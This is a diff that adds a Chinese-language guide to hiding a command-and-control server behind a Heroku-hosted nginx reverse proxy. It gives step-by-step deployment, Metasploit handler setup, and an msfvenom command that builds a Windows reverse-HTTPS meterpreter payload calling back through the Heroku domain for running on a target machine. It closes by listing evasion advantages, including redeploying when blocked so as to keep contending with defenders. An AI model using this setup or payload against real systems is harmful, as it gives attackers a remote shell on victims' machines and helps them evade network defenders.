|
| 1 | +# 利用heroku隐藏C2服务器 |
| 2 | +Heroku是一个支持多种编程语言的云平台即服务。简单理解就是可以免费部署docker容器并且可以开放web服务到互联网.下面介绍操作步骤. |
| 3 | + |
| 4 | +- 首先注册Heroku账号,点击通过 [https://dashboard.heroku.com](https://dashboard.heroku.com/) 注册一个账号 (推荐使用gmail) |
| 5 | +- 注册成功以后登录,登录以后点击 [部署链接](https://dashboard.heroku.com/new?template=https://github.com/FunnyWolf/nginx-proxy-heroku), |
| 6 | +- app名称填写为 `mydiydomain` (可自定义,名称为后续域名前缀),TARGET环境变量填写为C2的handler地址 |
| 7 | + |
| 8 | + |
| 9 | + |
| 10 | +- 然后点击 Deploy app 系统会自动部署. |
| 11 | +- 在metasploit-framework中添加handler,配置如图 |
| 12 | + |
| 13 | + |
| 14 | + |
| 15 | + |
| 16 | +- 执行 `to_handler` 生成listener |
| 17 | +- 使用如下命令生成payload |
| 18 | +```bash |
| 19 | +msfvenom -p windows/x64/meterpreter_reverse_https LHOST=mydiydomain.herokuapp.com LPORT=443 -f exe -o ~/payload.exe |
| 20 | +``` |
| 21 | + |
| 22 | +- 上传运行目标机器运行即可 |
| 23 | +# 运行效果 |
| 24 | + |
| 25 | +- 在metasploit-framework中查看session如下,可以看到session的链接地址为heroku中转服务器地址 |
| 26 | + |
| 27 | + |
| 28 | + |
| 29 | +- 在目标机抓包效果如下 |
| 30 | + |
| 31 | + |
| 32 | + |
| 33 | + |
| 34 | +# 总结 |
| 35 | +heroku隐藏C2从技术原理上看非常简单,使用heroku服务部署nginx反向代理服务,payload连接heroku的nginx,nginx将流量转发到C2.具体优势如下: |
| 36 | + |
| 37 | +- 只需要注册heroku免费账号即可 |
| 38 | +- 无需注册或购买域名 |
| 39 | +- 自带可信的SSL证书(heroku域名自带证书) |
| 40 | +- 如果IP地址被封锁,可删除原有heroku app重新部署heroku app(大约需要30s),与防守人员持续对抗 |
| 41 | +- 操作步骤简单 |
0 commit comments